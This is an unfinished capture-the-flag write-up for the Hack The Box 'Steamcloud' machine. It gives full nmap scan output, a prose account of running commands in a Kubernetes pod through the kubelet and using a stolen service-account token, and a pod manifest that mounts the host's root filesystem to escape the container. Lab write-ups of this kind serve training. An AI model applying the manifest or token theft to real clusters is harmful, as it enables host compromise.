Hackthebox - Steamcloud

Linux

Box on HTB

Nmap

┌──(root💀kali)-[~]
└─# nmap -T4 -p- -sC -sV -O 10.10.11.133
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-25 20:10 EDT
Stats: 0:06:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 49.70% done; ETC: 20:22 (0:06:05 remaining)
Stats: 0:08:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 70.12% done; ETC: 20:22 (0:03:41 remaining)
Stats: 0:09:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 78.16% done; ETC: 20:22 (0:02:41 remaining)
Nmap scan report for 10.10.11.133
Host is up (0.038s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
| tls-alpn: 
|_  h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-06-26T00:10:16
|_Not valid after:  2023-06-26T00:10:16
2380/tcp  open  ssl/etcd-server?
| tls-alpn: 
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-06-26T00:10:16
|_Not valid after:  2023-06-26T00:10:16
|_ssl-date: TLS randomness does not represent time
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 09d27c55-f3f0-49e7-a4a4-f2963e7f9e17
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 4fbc6edb-9955-4e99-a92d-333b5bf9a1be
|     X-Kubernetes-Pf-Prioritylevel-Uid: d41918d2-c753-4f4b-aa00-c0c038c19e46
|     Date: Sun, 26 Jun 2022 00:23:17 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: eec3b6db-6cb7-447b-8cc6-d8758c34812a
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 4fbc6edb-9955-4e99-a92d-333b5bf9a1be
|     X-Kubernetes-Pf-Prioritylevel-Uid: d41918d2-c753-4f4b-aa00-c0c038c19e46
|     Date: Sun, 26 Jun 2022 00:23:17 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: eea93706-5921-4bac-90a0-4f6141dd5f06
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 4fbc6edb-9955-4e99-a92d-333b5bf9a1be
|     X-Kubernetes-Pf-Prioritylevel-Uid: d41918d2-c753-4f4b-aa00-c0c038c19e46
|     Date: Sun, 26 Jun 2022 00:23:17 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2022-06-25T00:10:14
|_Not valid after:  2025-06-25T00:10:14
|_ssl-date: TLS randomness does not represent time
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1656202218
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2022-06-25T23:10:18
|_Not valid after:  2023-06-25T23:10:18
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.92%T=SSL%I=7%D=6/25%Time=62B7A6F5%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20eec3b
SF:6db-6cb7-447b-8cc6-d8758c34812a\r\nCache-Control:\x20no-cache,\x20priva
SF:te\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x204fbc6edb-9955-4e99-a92d-33
SF:3b5bf9a1be\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20d41918d2-c753-4f4b-
SF:aa00-c0c038c19e46\r\nDate:\x20Sun,\x2026\x20Jun\x202022\x2000:23:17\x20
SF:GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVersion\
SF:":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden
SF::\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/
SF:\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(HTTP
SF:Options,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20eea93706-592
SF:1-4bac-90a0-4f6141dd5f06\r\nCache-Control:\x20no-cache,\x20private\r\nC
SF:ontent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\
SF:r\nX-Kubernetes-Pf-Flowschema-Uid:\x204fbc6edb-9955-4e99-a92d-333b5bf9a
SF:1be\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20d41918d2-c753-4f4b-aa00-c0
SF:c038c19e46\r\nDate:\x20Sun,\x2026\x20Jun\x202022\x2000:23:17\x20GMT\r\n
SF:Content-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\
SF:",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x20Us
SF:er\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"/\\\
SF:"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(FourOhF
SF:ourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2009d27c55-
SF:f3f0-49e7-a4a4-f2963e7f9e17\r\nCache-Control:\x20no-cache,\x20private\r
SF:\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosni
SF:ff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x204fbc6edb-9955-4e99-a92d-333b5b
SF:f9a1be\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20d41918d2-c753-4f4b-aa00
SF:-c0c038c19e46\r\nDate:\x20Sun,\x2026\x20Jun\x202022\x2000:23:17\x20GMT\
SF:r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"
SF:v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x2
SF:0User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice
SF:\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\"
SF::{},\"code\":403}\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=6/25%OT=22%CT=1%CU=36407%PV=Y%DS=2%DC=I%G=Y%TM=62B7A75
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST1
OS:1NW7%O6=M505ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 862.22 seconds

Kubernetes

Lots of ports that comes out are kubernetes related.
After a little reading (see the resources) I decided to try kubeletctl
Pods
configz
Reading the doc we can actually execute command in a container. Turns out we have an nginx pod so we could try this. After a few tries we can actually find the user flag
We can try to authenticate by getting the cert and the token (see here for more details about this)
Now let's use this to authenticate
It works
We can now make our own yaml

apiVersion: v1 
kind: Pod
metadata:
  name: new-nginx-pod
  namespace: default
spec:
  containers:
  - name: new-nginx-pod
    image: nginx:1.14.2
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Coming soon

Resources

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Last updated 10 months ago